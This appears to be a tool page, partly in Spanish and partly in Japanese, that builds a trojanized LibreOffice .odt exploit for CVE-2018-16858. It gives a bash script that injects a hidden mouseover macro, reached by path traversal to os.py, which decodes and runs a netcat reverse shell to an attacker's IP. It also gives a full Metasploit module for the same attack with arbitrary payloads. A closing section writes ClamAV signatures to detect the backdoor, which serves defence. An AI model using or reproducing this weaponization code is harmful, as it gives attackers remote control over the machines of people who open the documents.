Como a priori no se sabe como va a estar conformado el fichero y donde se debe posicionar el estilo dentro del fichero de estilos se va a proceder de nuevo a una simplificación algo burda también pero eficaz. Se buscarán un tags de fin de estilo </style:style> y se añadirá al final la definición de estilo propuesta. No se sabrá en que posición del archivo quedará exactamente el tag, pero permitirá no tener que definir reglas mas complejas para dejar el estilo de los hipervínculos sin subrayados de forma que quien abra el archivo no sea capaz a priori de detectar el error.

Al igual que en el caso anterior se procederá a dichos cambios mediante el comando sed que quedará de la siguiente forma:

root@kitploit:~
cat styles.xml.NEW | sed s/"Internet link"/"Internet link2"/ | sed s/"Internet_20_link"/"Internet_20_link2"/ | sed s/"<\/style:style>"/'<\/style:style><style:style style:name="Internet_20_link" style:display-name="Internet link" style:family="text"><style:text-properties style:use-window-font-color="true" fo:language="zxx" fo:country="none" style:text-underline-style="none" style:language-asian="zxx" style:country-asian="none" style:language-complex="zxx" style:country-complex="none"\/><\/style:style>'/ > styles.xml;

El caso es análogo al anterior, y se hace lo descrito en las anteriores líneas. Se saca por pantalla el contenido del archivo styles.xml.new y en el primer sed se está cambiando el nombre del estilo de los hipervínculos añadiéndole un 2 al final. En el segundo sed se añade el estilo definido a mano y tras el cambio se vuelca todo en el archivo styles.xml que será el archivo que se conserve borrando el archivo styles.xml.NEW mediante el comando rm.

El último paso será empaquetar todo en un nuevo archivo zip mediante el comando linux zip. De nuevo se puede verificar que el comando ha tenido éxito o no mediante la variable de bash $? que devolverá 0 en caso de ejecución exitosa.

El código de esta última parte final será el siguiente:

root@kitploit:~
		zip -r exploit.odt mimetype .;

		if [ $? == 0 ]; then

			echo "exploit.odt created!!!"

		else

			echo "An error has occurr!!!"

		fi;

El código final del script completo tendrá una forma parecida a la siguiente:if [ -e $1 ]; then

root@kitploit:~
	I=0;

	for fichero in `ls -a`; do

		I=$(($I+1));

	done;

	if [ $I -gt 2 ]; then

		echo "At least one file exists on the directory. Exiting.";

	else

		if [ "" == "$3" ]; then

			echo "I need an IP and a port to connect to.";

		else

			unzip $1;

			if [ $? != 0 ]; then

				echo "some error has occurr!!!Exiting!!";
				exit;

			fi;

			PAYLOAD=`echo "mkfifo /tmp/lalala; nc $2 $3 < /tmp/lalala | /bin/bash > /tmp/lalala;" | base64 | awk '{printf $0}'`;

			mv content.xml content.xml.NEW;
			cat content.xml.NEW | sed s/"<text:p [^>]*[^\/]>"/"&"'<text:a xlink:type="simple" xlink:href="http:\/\/lalala\/" text:style-name="Internet_20_link" text:visited-style-name="Visited_20_Internet_20_Link"><office:event-listeners><script:event-listener script:language="ooo:script" script:event-name="dom:mouseover" xlink:href="vnd.sun.star.script:pythonSamples|..\/..\/..\/..\/..\/..\/..\/..\/..\/..\/..\/usr\/lib\/python3.5\/os.py$system(echo '$PAYLOAD' > \/tmp\/payload.64; base64 \/tmp\/payload.64 -d > \/tmp\/payload; chmod 777 \/tmp\/payload; \/tmp\/payload;)?language=Python\&amp;location=share" xlink:type="simple"\/><\/office:event-listeners>'/g | sed s/"<\/text:p>"/"<\/text:a>&"/g > content.xml;
			rm content.xml.NEW;

			mv styles.xml styles.xml.NEW;
			cat styles.xml.NEW | sed s/"Internet link"/"Internet link2"/ | sed s/"Internet_20_link"/"Internet_20_link2"/ | sed s/"<\/style:style>"/'<\/style:style><style:style style:name="Internet_20_link" style:display-name="Internet link" style:family="text"><style:text-properties style:use-window-font-color="true" fo:language="zxx" fo:country="none" style:text-underline-style="none" style:language-asian="zxx" style:country-asian="none" style:language-complex="zxx" style:country-complex="none"\/><\/style:style>'/ > styles.xml;
			rm styles.xml.NEW;

			zip -r exploit.odt mimetype .;

			if [ $? == 0 ]; then

				echo "exploit.odt created!!!"

			else

				echo "An error has occurr!!!"

			fi;

		fi;

	fi;

else
	echo "The odt file does not exists!!";

fi;

Metasploitモジュールの生成

このセクションでは、前のセクションで行ったことと同じことを実現するMetasploitモジュールを作成します。これにより、一方ではMetasploitスイートに統合でき、他方ではそのスイートに組み込まれているペイロードを利用する能力を持つことができます。このモジュールは**.odt**タイプのファイルを生成し、Office文書を開いたホストに接続するためのハンドラを配置する必要があることに注意してください。

Metasploitモジュールは通常、Ruby言語でプログラムされ、Rubyライブラリやクラス、およびMetasploit固有のライブラリを使用して、スイートの他の部分との統合を容易にします。

生成したいモジュールは、悪用にペイロードの使用を伴うエクスプロイトに基づいています。ペイロードは実行したいものです。したがって、私たちのモジュールはMetasploitクラスMsf::Exploitを継承します。このクラスの特徴の1つは、モジュールを使用する際に実行するペイロードを定義できることです。

ファイルを開いたり閉じたり、zipファイルを扱ったりするので、fileutilsライブラリとzipライブラリも使用して、.odtファイルを解凍し、content.xmlとstyles.xmlファイルの内容を変更します。

モジュールのヘッダーは、次の行で始まります。

root@kitploit:~
require 'fileutils'
require 'zip'

class MetasploitModule < Msf::Exploit

次に、作成しているクラスの定義を開始します。まず最初に、モジュールのさまざまな属性を定義する必要があります。これらすべてを初期化関数に含めます。この関数は、単に親クラスsuperを呼び出して、Exploitクラスの属性を初期化します。この部分ではプログラムロジックをコーディングする必要はなく、変数と値を定義するだけです。

属性の定義に関して、定義すべき属性は次のとおりです。

  • モジュール名を定義するための名前(Name)。
  • モジュールのヘルプを表示するときに表示される説明を提供する説明(Description)。
  • 生成されたモジュールに与える特定のライセンスを定義するためのライセンス(License)。
  • 特定のモジュールを作成した人物を定義するための作者(Author)。
  • 悪用されるエラーに関連するCVEまたは参照を引用する必要がある参照(References)。
  • モジュールを使用できるオペレーティングシステムを定義するためのプラットフォーム(Platform)。
  • モジュールが実行可能なCPUタイプを定義するアーキテクチャ(Arch)。
  • エクスプロイト内で使用できるペイロードの特性を定義できるペイロード('Payload')。この属性では、サイズ('size')が特に重要で、通常はコードを実行するバッファのサイズに関係し、ペイロードのバイトを実行に適するように変換するかどうか(DisableNops)も重要です。
  • 定義中のエクスプロイトで実行できるペイロードに関連するターゲット(Target)。この属性を正しく定義して、モジュールのユーザーがモジュール実行時に誤ったペイロードを導入できないようにすることが重要です。
  • 最後に、エクスプロイト実行時に使用する新しい変数を導入できるオプションの登録(register_options)。さまざまなタイプの新しい要素を定義できます。今回の場合は、トロイの木馬化したい**.odtファイルへのパスを定義するパスタイプの変数と、トロイの木馬化されたファイルを保存する新しい.odtファイルの名前を定義する文字列タイプの属性を定義します。元のファイルは変更されず、トロイの木馬化された新しいファイルが生成されます。パスタイプの属性を定義するにはoptPathクラスのコンストラクタを呼び出し、文字列タイプにはoptString**クラスを使用します。

これらの属性の初期化は、単に値を与えるだけです。モジュールでは次のようになります。

root@kitploit:~
def initialize(info = {})
	super(update_info(info,
	'Name'          => 'OpenOffice Backdoor Generator',
	'Description'   => '
	This module can execute a payload based on CVE-2018-16858 when somebody opens the infected document and the mouse
	goes over any line of text inside the document. The module will need an OpenDocument as input in order to make modiffications
	to be able to execute the script.
	',
	'License'       => MSF_LICENSE,
	'Author'        =>
	[
	'Animanegra', 
	],
	References'    =>
	[
	['CVE', '2018-16858'],
	['URL', 'https://www.libreoffice.org/about-us/security/advisories/cve-2018-16858/']
	],
	'Platform'      => 'linux',
	'Arch' =>	ARCH_X86,
	'Payload'	=> { 'DisableNops' => true , 'size' => 1024},
	'Targets'	=>
	[
		[ 'linux' , 
		{
			'Platform' => 'linux'
	
		}]
	])
	)
	register_options(
		[
			OptString.new('OUTPUT', [true, 'Path and filename to make a new infected .odt file.']),
			OptPath.new('INPUT', [true, 'Path and filename to existing .odt to inject the payload selected.'])
		]
	)
end

初期化で定義された内容により、エクスプロイトのロジック部分を生成する準備が整いました。ここでは、bashで作成したエクスプロイトで定義したものと同じアクションを、今度はMetasploitが使用するruby言語で実行します。ruby言語の機能を使用して、まったく同じことを行います。

定義すべき関数は、msfconsoleでexploitまたはrunと入力したときにMetasploitが呼び出すもので、関数名はexploitでなければなりません。この関数内で、作成されたオブジェクトの初期化で定義された属性に基づいて、関連するアクションを実行するプログラム自体を定義します。

最初に行うことは、ユーザーが定義したファイル名が**.odtで終わることを確認することです。これは、変数datastore['INPUT']とdatastore['OUTPUT']の内容をチェックすることで行えます。メソッドto_sを使用してstring**に変換し、**end_with?**を使用して文字列が特定の値で終わるかどうかを定義できます。例えば、次の呼び出し:

root@kitploit:~
datastore['INPUT'].to_s.end_with?('.odt')

は、入力パスが**.odt**で終わる場合はtrueを、そうでない場合はfalseを返します。したがって、チェックは次のようになります。

root@kitploit:~
if datastore['INPUT'].to_s.end_with?('.odt') && datastore['OUTPUT'].to_s.end_with?('.odt')

これが確認されたら、前のセクションで行ったのと同じ方法で、content.xmlとstyles.xmlの内容を変更するためにファイルの解凍を開始します。これはZipクラスを使用して行います。このクラスを使用すると、出力ファイルに直接内容をダンプする必要なく、メモリ内でzipファイルを開いて読み取ることができます。Zip::File.openへの呼び出しを使用して行われ、このメソッドを呼び出すと、反復子タイプの属性を含むオブジェクトが返されます。この属性を使用すると、メモリ内で解凍された各ファイルを読み取ることができます。データストア(.zipファイルへのパスが含まれている)に接続して行う呼び出しは、次のようになります。反復子を使用して、解凍された各ファイルが変数entryに保存されます。

root@kitploit:~
	Zip::File.open(datastore['INPUT']) do |zipfile|

		zipfile.each do |entry|

zipファイルはzipfileというオブジェクトで開かれ、これからeachを使用して反復子が取得され、変数entryに保存されます。この変数を使用して、解凍されたファイルとその属性に直接アクセスできます。entry.nameを使用して元のファイル名にアクセスできます。名前がstyles.xmlとcontents.xmlのファイルを変更したいので、単純な比較でファイルを読み取り、変更を加えることができます。他のファイルは内容を変更せずにそのままにします。 また、entry変数にはget_input_streamというメソッドもあります。これにより、zip内のファイルをハードディスク上の任意のファイルと同様に扱うことができます。inputStreamクラスにはreadメソッドがあり、ファイルのすべての内容を変数に直接ダンプします。 最後に、entry変数にはis_directoryメソッドもあり、zip内のファイルがファイルかディレクトリかを判断できます。ディレクトリの場合は、readメソッドで読み取らずにスキップできます。これは、zip自体の構造の要素であり、それ自体には内容がないためです。 これらのメソッドをすべて使用して、アルゴリズムの一般的な構造を生成できます。これは、ファイルが変更するファイルの1つであるか、変更する必要のないファイルであるか、単にディレクトリであるかを区別します。 その部分の一般的な構造は次のようになります。

root@kitploit:~
			if entry.name == "content.xml"

	 		elsif entry.name == "styles.xml"

	 		else

				if !entry.name_is_directory?


				end

			end

読み取るファイルがcontent.xmlの場合は、ユーザーが選択したペイロードを挿入する必要があります。styles.xmlの場合は、ハイパーリンクのスタイルを変更する必要があります。最後に、これらのファイルのどちらでもなく、ディレクトリでもない場合は、変更を加えずにファイルを挿入するだけです。

理想的な処理は、ファイルを読み取りながら新しいドキュメントに挿入することです。そのため、Zipクラスを使用してファイルを読み取りモードで開いたのと同様に、書き込みモードで別のファイルを開き、そこにファイルをオンザフライで圧縮ファイルに含めていきます。

同様に、ZipクラスのFile.openメソッドを呼び出し、返された変数を使用して、開くファイルに、出力圧縮ファイルに含めたいさまざまなファイルを挿入します。メソッドの最初のパラメータは、ユーザーがmsfconsoleのインターフェースを介して設定した名前から取得されるファイル名です。この名前には、変数datastore['OUTPUT']を介してアクセスします。2番目のパラメータとして、定数Zip::File::CREATEを使用して新しいzipファイルを作成することを指定します。読み取りを開いた方法と同様に、ここで挿入されるプログラム行は次のようになります。

root@kitploit:~
Zip::File.open(datastore['OUTPUT'],Zip::File::CREATE) do |outzip|

前述のように、変数outzipを使用して、zipに新しいデータを挿入します。zipからファイルを読み取るためにget_input_streamメソッドを使用できたのと同様に、書き込みには類似のget_output_streamを使用し、writeメソッドを使用してファイルに内容を書き込みます。get_output_streamメソッドへの入力データはファイル名です。したがって、entry.nameを介して読み取ったファイル名にアクセスでき、entry.get_input_stream.readを介して読み取ったファイルの内容にアクセスできるため、次のようにして、zipファイルからファイルを読み取り、出力zipファイルに直接ダンプできます。

root@kitploit:~
					data = entry.get_input_stream.read

					outzip.get_output_stream(entry.name) { |f| f.write data}

見てわかるように、dataにはファイルの完全な内容が含まれているため、入力ファイルの名前がstyles.xmlまたはcontents.xmlの場合は、内容をダンプする前に変更する必要があり、その他の場合は何も変更する必要はありません。

コマンドラインのsedコマンドと同様に、Rubyにはgsub関数があり、まったく同じように機能します。スタイルファイルの場合、sub関数を次のように実行できます。

root@kitploit:~
data = data.gsub("Internet link","Internet link2").gsub("Internet_20_link","Internet_20_link2").gsub("</style:style>",'</style:style><style:style style:name="Internet_20_link" style:display-name="Internet link" style:family="text"><style:text-properties style:use-window-font-color="true" fo:language="zxx" fo:country="none" style:text-underline-style="none" style:language-asian="zxx" style:country-asian="none" style:language-complex="zxx" style:country-complex="none"/></style:style>')

見てわかるように、この関数には特筆すべき点はありません。bashのエクスプロイトの場合とまったく同じことを行っています。この変更が完了したら、変数dataを出力zipファイルにダンプできます。

contents.xmlの場合は、ユーザーが選択したペイロードを挿入する必要があるため、base64形式の変数にロードしてから、ファイル内の必要な場所に挿入する必要があります。実行するペイロードの内容には、変数payloadを介してアクセスでき、実行可能形式のペイロードが必要なため、**encoded_exe()**メソッドを呼び出して、独立したコマンドとして実行するために必要な部分を含む実行可能形式のペイロードにアクセスします。base64形式が必要なため、REXクラスを使用してバイナリをbase64にエンコードし、Text.encode_base64メソッドを呼び出します。このメソッドは、エンコードするデータを入力として受け取ります。プログラムに挿入する命令は次のようになります。

root@kitploit:~
				target_payload = payload.encoded_exe()

				b64_payload = Rex::Text.encode_base64(target_payload)

これにより、b64_payloadにbase64の実行可能ペイロードが用意されます。最後に、sedコマンドで行った変更と同様の変更を使用し、前のセクションで適用したbase64コードの代わりにPAYLOADという単語を挿入します。すべての変更後に、最後のgsubを追加して、リテラルPAYLOADを変数b64_payloadの内容に置き換えます。コードは次のようになります。

root@kitploit:~
data = data.gsub(/<text:p [^>]*[^\/]>/,'\&'+"<text:a xlink:type=\"simple\" xlink:href=\"http://lalala/\" text:style-name=\"Internet_20_link\" text:visited-style-name=\"Visited_20_Internet_20_Link\"><office:event-listeners><script:event-listener script:language=\"ooo:script\" script:event-name=\"dom:mouseover\" xlink:href=\"vnd.sun.star.script:pythonSamples|../../../../../../../../../../../usr/lib/python3.5/os.py$system(echo PAYLOAD > /tmp/payload.64; base64 /tmp/payload.64 -d > /tmp/payload; chmod 777 /tmp/payload; /tmp/payload; rm /tmp/payload.64; rm /tmp/payload;)?language=Python&amp;location=share\" xlink:type=\"simple\"/></office:event-listeners>").gsub("</text:p>","</text:a></text:p>").gsub("PAYLOAD",b64_payload)

これで、モジュールに必要なすべての機能が解決されました。モジュールの完全なコードは次のとおりです。

root@kitploit:~
require 'fileutils'
require 'zip'

class MetasploitModule < Msf::Exploit

	def initialize(info = {})
		super(update_info(info,
		'Name'          => 'OpenOffice Backdoor Generator',
		'Description'   => '
			This module can execute a payload based on CVE-2018-16858 when somebody opens the infected document and the mouse
			goes over any line of text inside the document. The module will need an OpenDocument as input in order to make modiffications
			to be able to execute the script.
		',
		'License'       => MSF_LICENSE,
		'Author'        =>
			[
				'Animanegra', 
			],
		References'    =>
			[
			['CVE', '2018-16858'],
			['URL', 'https://www.libreoffice.org/about-us/security/advisories/cve-2018-16858/']
			],
		'Platform'      => 'linux',
		'Arch' =>	ARCH_X86,
		'Payload'	=> { 'DisableNops' => true , 'size' => 1024},
		'Targets'	=>
			[
				[ 'linux' , 
					{
						'Platform' => 'linux'
	
					}]
			])
		)
		register_options(
			[
				OptString.new('OUTPUT', [true, 'Path and filename to make a new infected .odt file.']),
				OptPath.new('INPUT', [true, 'Path and filename to existing .odt to inject the payload selected.'])
			]
		)

	end

	def exploit

		if datastore['INPUT'].to_s.end_with?('.odt') && datastore['OUTPUT'].to_s.end_with?('.odt')

			print "Ok we have the input and output file. Lets rock!!!\n\n"

			Zip::File.open(datastore['OUTPUT'],Zip::File::CREATE) do |outzip|

				Zip::File.open(datastore['INPUT']) do |zipfile|

					zipfile.each do |entry|

						if entry.name == "content.xml"

							print "Changing content to insert command execution!!!\n"

							target_payload = payload.encoded_exe()

							b64_payload = Rex::Text.encode_base64(target_payload)

							data = entry.get_input_stream.read

							data = data.gsub(/<text:p [^>]*[^\/]>/,'\&'+"<text:a xlink:type=\"simple\" xlink:href=\"http://lalala/\" text:style-name=\"Internet_20_link\" text:visited-style-name=\"Visited_20_Internet_20_Link\"><office:event-listeners><script:event-listener script:language=\"ooo:script\" script:event-name=\"dom:mouseover\" xlink:href=\"vnd.sun.star.script:pythonSamples|../../../../../../../../../../../usr/lib/python3.5/os.py$system(echo PAYLOAD > /tmp/payload.64; base64 /tmp/payload.64 -d > /tmp/payload; chmod 777 /tmp/payload; /tmp/payload; rm /tmp/payload.64; rm /tmp/payload;)?language=Python&amp;location=share\" xlink:type=\"simple\"/></office:event-listeners>").gsub("</text:p>","</text:a></text:p>").gsub("PAYLOAD",b64_payload)

							outzip.get_output_stream(entry.name) { |f| f.write data}

						elsif entry.name == "styles.xml"

							print "Changing style to make the user not to view the hyperlink.\n\n"

							data = entry.get_input_stream.readdata = data.gsub("Internet link","Internet link2").gsub("Internet_20_link","Internet_20_link2").gsub("</style:style>",'</style:style><style:style style:name="Internet_20_link" style:display-name="Internet link" style:family="text"><style:text-properties style:use-window-font-color="true" fo:language="zxx" fo:country="none" style:text-underline-style="none" style:language-asian="zxx" style:country-asian="none" style:language-complex="zxx" style:country-complex="none"/></style:style>')

							outzip.get_output_stream(entry.name) { |f| f.write data}

						else

							if !entry.name_is_directory?

								data = entry.get_input_stream.read

								outzip.get_output_stream(entry.name) { |f| f.write data}

							end

						end

					end

				end

			end

		else

			print_error 'INPUT and OUTPUT must be both .odt file extension'

		end

	end

end

プログラムが生成されたら、libreoffice.rb というファイルに保存され、/modules/exploits/linux/misc パスにコピーされます。次回 msfconsole を実行すると、この新しいモジュールが読み込まれます。他のモジュールと同様に、以下のように実行して使用できます:

root@kitploit:~
msf5 > use exploit/linux/misc/libreoffice 
msf5 exploit(linux/misc/libreoffice) >

ここでオプションを確認できます:

root@kitploit:~
msf5 exploit(linux/misc/libreoffice) > show options 

Module options (exploit/linux/misc/libreoffice):

   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   INPUT                    yes       Path and filename to existing .odt to inject the payload selected.
   OUTPUT                   yes       Path and filename to make a new infected .odt file.


Exploit target:

   Id  Name
   --  ----
   0   linux

そして、INPUT に値を、OUTPUT に値を設定し、set payload コマンドで互換性のあるペイロードを選択して、入力ファイルを選択できます。

出力ODTファイルを生成した後、use exploit/multi/handler 汎用ハンドラを使用し、.odt ファイル生成時に選択したペイロードと互換性のあるペイロードを使用します。

アンチウイルス検出のためのシグネチャ生成

最後のステップとして、生成されたバックドアを検出し、その脅威を回避するための一連のアンチウイルスシグネチャを生成します。ほとんどのアンチウイルスはクローズドソースであるため、オープンソースで全てのプラットフォームで実行可能なClamAVアンチウイルスソフトウェアを使用します。

最初に作成するシグネチャは静的タイプのシグネチャです。これらは最も簡単に作成できますが、バイパスや回避も最も容易です。このタイプのシグネチャは主に静的なハッシュとファイルサイズで構成されます。ClamAVアンチウイルスが要求する形式は、拡張子 .hdb のファイル内に、ハッシュ(md5またはsha1)で始まり、その後にファイルサイズ(バイト単位)と任意のウイルス名が続く行を配置することです。各行には1つのウイルス定義のみが含まれ、各フィールドは : 記号で区切られます。

シグネチャを作成したい exploit.odt ファイルがある場合、Linuxの md5sum および sha1sum コマンドを使用して簡単にmd5またはsha1ハッシュを計算できます。コマンドは単にコマンド名の後に対象ファイルを指定して実行します。例は以下の通りです:

root@kitploit:~
user@host:~/myprojects/security/metasploit/exploitlibreoffice/scripts/lalala$ md5sum exploit.odt 
9158e2fc2f87b5ee050a279a38f6bfac  exploit.odt
user@host:~/$ sha1sum exploit.odt 
a39979533831fbb9eac4ba6c13469b4d421fc1c7  exploit.odt

ファイルサイズの計算には、ls コマンドにファイルパスを渡すのが最も簡単です。例:

root@kitploit:~
user@host:~/$ ls -al exploit.odt 
-rw-r--r-- 1 user user 726509 Apr 09 19:17 exploit.odt

これにより、取得したmd5またはsha1ハッシュとファイルサイズを使用して、拡張子 .hdb のファイルを生成できます。例:

root@kitploit:~
9158e2fc2f87b5ee050a279a38f6bfac:726509:Trojan.LibreOfficeMalware.A
a39979533831fbb9eac4ba6c13469b4d421fc1c7:726509:Trojan.LibreOfficeMalware.B

ClamAVを実行する際は、生成したシグネチャファイルを使用することを指定する必要があります。したがって、LibreOfficeSign.hdb というデータベースを使用してウイルスを確認するには、次のように実行します:

root@kitploit:~
user@host:~/$ clamscan -d LibreOfficeSign.hdb exploit.odt 
exploit.odt: Trojan.LibreOfficeMalware.A.UNOFFICIAL FOUND

----------- SCAN SUMMARY -----------
Known viruses: 2
Engine version: 0.100.2
Scanned directories: 0
Scanned files: 1
Infected files: 1
Data scanned: 1.46 MB
Data read: 0.69 MB (ratio 2.11:1)
Time: 0.035 sec (0 m 0 s)

このタイプのシグネチャは、マルウェアに少しでも変更が加えられると、アンチウイルスが認識できなくなる可能性が非常に高いです。シグネチャに使用されるハッシュ(md5またはsha1)は、ファイル内の1ビットでも変更されると、ウイルスとして検出できなくなります。生成された .odt を単にunzipし、ドキュメントのテキスト内の任意の文字を変更する(例えば、a を A に変更する)だけで、アンチウイルスをバイパスするのに十分です。

次に、ClamAVの動的シグネチャシステムを利用して、もう少し賢いシグネチャを作成します。このタイプのシグネチャは、.hdb ではなく .ndb 拡張子のファイルに保存する必要があります。ファイル内のシグネチャの形式は前述のものと似ていますが、ファイル全体のハッシュを使用する代わりに、ファイル内の識別子を使用します。ファイル内の特定の文字列を比較し、それらが存在する場合にマルウェアとして検出します。

フォーマットは、脅威の名前で始まり、その後にマルウェアが含まれるべきファイルタイプが続きます。数字0は、マルウェアが任意のファイルタイプに存在する可能性があることを示します。1はマルウェアが32ビットまたは64ビットのexe実行ファイルのみに影響する場合、6はUnixのELFタイプの実行ファイルのみに存在する場合、7はASCIIタイプのファイルである場合を示します。次のフィールドは、ファイル内で識別したい文字列のバイト比較を開始するバイト番号を指定します。ワイルドカード * を使用して、文字列がファイル内の任意の場所で開始できることを定義できます。その後、マルウェアを識別できるバイト文字列を指定します。検索定義は、連続した16進コードで構成されます。

特定のファイルの16進コードを取得する1つの方法は、sigtool ツールを使用することです。標準入力からバイト入力を受け取り、シグネチャで使用できる16進表現を直接返します。同様のツールとして hexdump もありますが、その出力は修正が必要になる場合があります。簡潔さのために、ここでは sigtool ツールを使用してシグネチャを作成します。

2番目に作成するシグネチャで検索するファイルの部分は非常にシンプルです。ディレクトリトラバーサルを使用して os.py ファイルの実行部分までのパスです。オフィスファイル自体に変更が加えられても、バックドアコードを実行するには少なくともこのパスがファイル内に存在する必要があります。まず、以下のコマンドで16進文字を取得します:

root@kitploit:~
user@host:~/$ echo -n "../../../../../../../../../../../usr/lib/python3.5/os.py" | sigtool --hex-dump
2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f7573722f6c69622f707974686f6e332e352f6f732e7079

echo コマンドに -n パラメータを追加して、最後に改行が出力されないようにすることが重要です。そして、sigtool コマンドの結果が、アンチウイルスがトロイの木馬化された .odt を検出できるシグネチャとして適用される検索になります。

検索開始の具体的なオフセットは、各 .odt ドキュメントの構造に依存するため定義できません。したがって、オフセットフィールドには * を置きます。ファイルタイプは 1 と定義し、アンチウイルスが任意のファイルタイプで検索できるようにします。名前を定義し、最終的なシグネチャは次のようになります:

root@kitploit:~
Trojan.LibreOfficeMalware.C:0:*:2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f7573722f6c69622f707974686f6e332e352f6f732e7079

シグネチャは LibreOfficeSign.ndb ファイルに保存されます。ファイル名で重要なのは拡張子です。再度 clamav を実行して、生成されたシグネチャがトロイの木馬を検出できるか確認できます。結果は次のようになります:

root@kitploit:~
user@host:~/$ clamscan -d LibreOfficeSign.ndb exploit.odt 
exploit.odt: Trojan.LibreOfficeMalware.C.UNOFFICIAL FOUND

----------- SCAN SUMMARY -----------
Known viruses: 1
Engine version: 0.100.2
Scanned directories: 0
Scanned files: 1
Infected files: 1
Data scanned: 0.02 MB
Data read: 0.69 MB (ratio 0.03:1)
Time: 0.010 sec (0 m 0 s)

このシグネチャを使用したアンチウイルス検出のバイパスはより困難ですが、オフィスドキュメントのテキストの任意の部分を変更するだけでは不十分です。シグネチャの定義に特定の数の ../ が使用されているため、比較的簡単にバイパスすることができます。エクスプロイトの生成では、Linux内の任意のパスからルートディレクトリに到達できるように、ダウンスケールの数を比較的高く設定する必要があります。したがって、パス内の ../ の1つを削除するだけで、エクスプロイトは引き続き機能し、生成されたバックドアを実行できます。そのため、正規表現を使用してマルウェアを検出できる、より高度なシグネチャ定義を使用し、非常に単純な変更で検出されないような固定されたシグネチャを使用しないようにします。

次に、ディレクトリトラバーサルの試みが検出された時点でマルウェアを検出できるシンプルなシグネチャを使用します。また、教育目的で、任意の文字の不定連続を定義できるワイルドカード * を使用します。同様のワイルドカードとして ?? があり、これは1回だけ出現する任意の文字を検出できます。また、ワイルドカード {n} を使用して n バイトを検出したり、{-n} と {n-} を使用してそれぞれ n バイト以下または n バイト以上を定義することもできます。

ディレクトリトラバーサルに先行し、pythonSamples| データで定義されるバイトセクションを使用します。これを16進形式で取得する必要があります:

root@kitploit:~
user@host:~/$ echo -n "pythonSamples|" | sigtool --hex-dump
707974686f6e53616d706c65737c

同様に ../ の16進コードも取得します:

root@kitploit:~
user@host:~/$ echo -n "../" | sigtool --hex-dump
2e2e2f

したがって、ファイルに追加されるシグネチャは、両方の16進文字列を * で結合したもの、つまり 707974686f6e53616d706c65737c*2e2e2f になります。これにより、LibreOfficeSign.ndb ファイルに保存される完全なシグネチャは次のようになります:

root@kitploit:~
Trojan.LibreOfficeMalware.D:0:*:707974686f6e53616d706c65737c*2e2e2f

contents.xml ファイルの各ハイパーリンクから ../ を1つ削除してチェックし、.odt ファイルを再構成してアンチウイルスで検証した結果は次のようになります:

root@kitploit:~
user@host:~/$ clamscan -d LibreOfficeSign.ndb exploit.odt 
exploit.odt: Trojan.LibreOfficeMalware.D.UNOFFICIAL FOUND

----------- SCAN SUMMARY -----------
Known viruses: 2
Engine version: 0.100.2
Scanned directories: 0
Scanned files: 1
Infected files: 1
Data scanned: 0.02 MB
Data read: 0.69 MB (ratio 0.03:1)
Time: 0.009 sec (0 m 0 s)
ツールをダウンロード